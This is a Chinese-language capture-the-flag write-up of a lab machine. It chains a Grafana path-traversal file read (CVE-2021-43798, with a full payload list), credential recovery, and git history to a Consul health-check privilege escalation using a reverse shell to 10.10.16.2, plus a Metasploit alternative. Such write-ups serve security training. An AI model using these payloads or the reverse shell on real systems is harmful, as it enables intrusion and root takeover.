知识点
- Grafana任意文件读取
- Grafana 配置文件Path
- Git回退
- Consoul 健康检查提权
- SSL端口转发
信息搜集
Nmap嗦一口看看开放端口
nmap -sC -sV -Pn 10.10.11.183
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| Nmap scan report for 10.10.11.183 (10.10.11.183) Host is up (1.2s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 29dd8ed7171e8e3090873cc651007c75 (RSA) | 256 80a4c52e9ab1ecda276439a408973bef (ECDSA) |_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: Hugo 0.94.2 |_http-title: Ambassador Development Server |_http-server-header: Apache/2.4.41 (Ubuntu) 3000/tcp open ppp? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Thu, 16 Feb 2023 15:17:43 GMT | Content-Length: 29 | href="/login">Found</a>. | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Thu, 16 Feb 2023 15:16:55 GMT | Content-Length: 29 | href="/login">Found</a>. | HTTPOptions: | HTTP/1.0 302 Found | Cache-Control: no-cache | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Thu, 16 Feb 2023 15:17:03 GMT |_ Content-Length: 0 3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=MySQL_Server_8.0.28_Auto_Generated_Server_Certificate | Not valid before: 2022-03-13T22:27:05 |_Not valid after: 2032-03-10T22:27:05 | mysql-info: | Protocol: 10 | Version: 8.0.30-0ubuntu0.20.04.2 | Thread ID: 179 | Capabilities flags: 65535 | Some Capabilities: InteractiveClient, Speaks41ProtocolOld, LongColumnFlag, LongPassword, Support41Auth, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, IgnoreSigpipes, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, ODBCClient, FoundRows, ConnectWithDatabase, SupportsTransactions, SupportsCompression, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults | Status: Autocommit | Salt: zp;Fb.KEpyx\x14R4NH\x02=|q |_ Auth Plugin Name: caching_sha2_password 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
开放了3306、3000、80、22四个端口,访问http://10.10.11.183
:
Grafana任意文件读取
意思是让我们获取ssh的账号,后续扫描了网站的目录,没有可疑路径,因此把重心放在3000端口,这是一个grafana服务端:
Introduction:
Grafana是一个跨平台的开源的度量分析和可视化工具,可以通过将采集的数据查询然后可视化的展示,并及时通知。
主要特点
展示方式:快速灵活的客户端图表,面板插件有许多不同方式的可视化指标和日志,官方库中具有丰富的仪表盘插件,比如热图、折线图、图表等多种展示方式;
数据源:Prometheus、InfluxDB、Elasticsearch、Mysql、Microsoft SQL Server、Oracle等;
注释:使用来自不同数据源的丰富事件注释图表,将鼠标悬停在事件上会显示完整的事件元数据和标记;
混合展示:在同一图表中混合使用不同的数据源,可以基于每个查询指定数据源,甚至自定义数据源;
过滤器:Ad-hoc过滤器允许动态创建新的键/值过滤器,这些过滤器会自动应用于使用该数据源的所有查询。
通知提醒:以可视方式定义最重要指标的警报规则,Grafana将不断计算并发送通知,在数据达到阈值时通过Slack、PagerDuty等获得通知;
由于之前CTF题中见到过有关题型,Grafana好像在前几年被爆出了一个任意文件读取的漏洞
(CVE-2021-43798):
poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| /public/plugins/alertmanager/../../../../../../../../etc/passwd /public/plugins/grafana/../../../../../../../../etc/passwd /public/plugins/loki/../../../../../../../../etc/passwd /public/plugins/postgres/../../../../../../../../etc/passwd /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd /public/plugins/mixed/../../../../../../../../etc/passwd /public/plugins/prometheus/../../../../../../../../etc/passwd /public/plugins/cloudwatch/../../../../../../../../etc/passwd /public/plugins/graphite/../../../../../../../../etc/passwd /public/plugins/mssql/../../../../../../../../etc/passwd /public/plugins/tempo/../../../../../../../../etc/passwd /public/plugins/dashboard/../../../../../../../../etc/passwd /public/plugins/influxdb/../../../../../../../../etc/passwd /public/plugins/mysql/../../../../../../../../etc/passwd /public/plugins/testdata/../../../../../../../../etc/passwd /public/plugins/elasticsearch/../../../../../../../../etc/passwd /public/plugins/jaeger/../../../../../../../../etc/passwd /public/plugins/opentsdb/../../../../../../../../etc/passwd /public/plugins/zipkin/../../../../../../../../etc/passwd /public/plugins/alertGroups/../../../../../../../../etc/passwd /public/plugins/bargauge/../../../../../../../../etc/passwd /public/plugins/debug/../../../../../../../../etc/passwd /public/plugins/graph/../../../../../../../../etc/passwd /public/plugins/live/../../../../../../../../etc/passwd /public/plugins/piechart/../../../../../../../../etc/passwd /public/plugins/status-history/../../../../../../../../etc/passwd /public/plugins/timeseries/../../../../../../../../etc/passwd /public/plugins/alertlist/../../../../../../../../etc/passwd /public/plugins/gauge/../../../../../../../../etc/passwd /public/plugins/heatmap/../../../../../../../../etc/passwd /public/plugins/logs/../../../../../../../../etc/passwd /public/plugins/pluginlist/../../../../../../../../etc/passwd /public/plugins/table/../../../../../../../../etc/passwd /public/plugins/welcome/../../../../../../../../etc/passwd /public/plugins/annolist/../../../../../../../../etc/passwd /public/plugins/canvas/../../../../../../../../etc/passwd /public/plugins/geomap/../../../../../../../../etc/passwd /public/plugins/histogram/../../../../../../../../etc/passwd /public/plugins/news/../../../../../../../../etc/passwd /public/plugins/stat/../../../../../../../../etc/passwd /public/plugins/table-old/../../../../../../../../etc/passwd /public/plugins/xychart/../../../../../../../../etc/passwd /public/plugins/barchart/../../../../../../../../etc/passwd /public/plugins/dashlist/../../../../../../../../etc/passwd /public/plugins/gettingstarted/../../../../../../../../etc/passwd /public/plugins/nodeGraph/../../../../../../../../etc/passwd /public/plugins/state-timeline/../../../../../../../../etc/passwd /public/plugins/text/../../../../../../../../etc/passwd
|
随便选取一个基本都可以任意文件读取:
我们利用这一点去读取一些配置文件信息:
https://blog.csdn.net/qq_41181590/article/details/107658141
常见的配置文件地址如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 安装目录 /usr/share/grafana/ grafana-cli 路径 /usr/share/grafana/bin/grafana-cli 全局配置文件 /etc/grafana/grafana.ini 默认配置文件 /usr/share/grafana/conf/defaults.ini plugins 安装目录 /var/lib/grafana/plugins/ 默认数据存储文件路径 /var/lib/grafana/grafana.db 日志文件存储路径 /var/log/grafana/ 邮件默认发送模板路径 /usr/share/grafana/public/emails/
|
我们可以读取全局配置文件,看看能不能登录进grafana:
发现了管理员账号密码,结果成功进入admin panel:
并且在设置界面发现了mysql.yaml配置文件,只不过我们不能读出来,在官方文档可以知道其所在路径:
https://grafana.com/docs/grafana/latest/administration/provisioning/#data-sources
所以利用任意文件读取,读取yaml文件/etc/grafana/[provisioning/datasources](https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/#provisioning)/mysql.yaml
文件:
Sqlite3直接导入db文件读取密码
除了上面读取配置文件,还可以先读取/var/lib/grafana/grafana.db
,在将db文件用sqlite3打开,这样也是可以获取mysql用户密码的
Mysql获取ssh密码
获得了mysql数据的账号密码,直接远程连接数据库mysql -h 10.10.11.183 -P 3306 -ugrafana -pdontStandSoCloseToMe63221!
:
发现可疑数据库whackywidget
,在里面找到了一组ssh账号密码:
密码经过base64解密后为developer/anEnglishManInNewYork027468
,之后可以直接ssh远程连接:
获取user flag
Consoul服务提权
进入之后首先就看看能不能suid提权嘛:
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
|
并没有可利用指令,然后查看内核漏洞:
uname -a
也并没有发现内核漏洞,到这里一般就寄了嘛,但是我们在/opt/my-app/whackywidget
路径可以发现一些有用的信息:
这是一个consul服务的指令,什么是consul服务呢?
. Consul是一个服务网格解决方案,提供了一个功能齐全的控制平面,具有服务发现、配置和分段功能。 这些功能中的每一项都可以根据需要单独使用,也可以一起使用来构建一个完整的服务网格。 Consul需要一个数据平面,并支持代理和原生集成模型。
consul服务内置了一些指令可以参考:
https://segmentfault.com/a/1190000019424215
https://developer.hashicorp.com/consul/docs/security/acl/acl-tokens#creating-tokens
但是今天我们用到的是health check
,健康检查,consul服务启动时会调用一些脚本进行探测服务健康状况,因此这里可能可以构造恶意的health check文件
上面文件内容说需要CONSUL_HTTP_TOKEN
才能运行consul指令,因此现在的思路就是寻找TOKEN
Git 版本倒退
在my-app
目录下发现.git文件:
git log
查看git版本:
由于目录权限问题无法使用git checkout指令切换分值,因此我们需要将my-app目录转移到有write权限的tmp目录下
cp ../my-app /tmp/regit
:
在这里文件所有组和所有者都是developer,因此权限是足够的:
git checkout c982db8eff6f10f8f3a7d802f79f2705e7a21b55
回到上一个版本之后,可以发现刚刚的文件多出了token:
Consul Health check
尝试运行指令consul kv put test value
:
显示没有权限
在上面的官网文档中,说了需要将token导入环境变量才可使用
所以export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
之后再运行:
现在可以使用consul命令了,就该思考如何提权,运行ps aux|grep consul
查看该服务进程:
意外的发现该服务是由root用户执行的,并且可以看到配置文件夹位置/etc/consul.d/
,我们进入看看:
发现config.d目录属于我们用户组,有写的权限,并且猜都猜得到这是配置文件位置,从官网得知,consul有一种健康检查的机制,可以指定服务启动时我们运行的指令,而健康检查是通过配置.hcl
配置文件完成的:
https://developer.hashicorp.com/consul/docs/discovery/checks#script-check
可以利用健康检查机制创建恶意hcl
文件,从而反弹shell获取root权限(服务由root运行),仿照上述官方例子:
1 2 3 4 5 6 7
| check = { id = "evil" name = "evilshell" args = ["/bin/bash","/tmp/evil.sh"] interval = "10s" }
|
evil.sh内容就是反弹shell
1 2
| #!/bin/bash bash -i >& /dev/tcp/10.10.16.2/7777 <&1
|
在conf.d
目录下创建完恶意hcl文件后即可consul reload
重启服务,然后启动时就会运行evil.sh脚本,我们只需本地监听nc -lvnp 7777
即可,这里没截图是因为靶机给我搞的有点问题,弹不回来需要重启,但是我懒
MSF直接获取ROOT权限
在msf搜索有关consul的exploit:
search consul
:
得到2个exploit,我们选择exploit/multi/misc/consul_service_exec
,然后查看有关参数:
use exploit/multi/misc/consul_service_exec
show options
:
需要指定rhost,rport,lhost,lport,并且rhost必须是8500,ACL_TOKEN说是不需要,但是我们执行命令时需要,因此也需要导入:
由于目标没有8500端口,因此会失败,所以要做一个SS本地端口转发
ssh -L 8500:127.0.0.1:8500 [email protected]
(kali机器运行),所以我们才把msf的rhost设为127.0.0.1,我们做了一层通道:
完美结束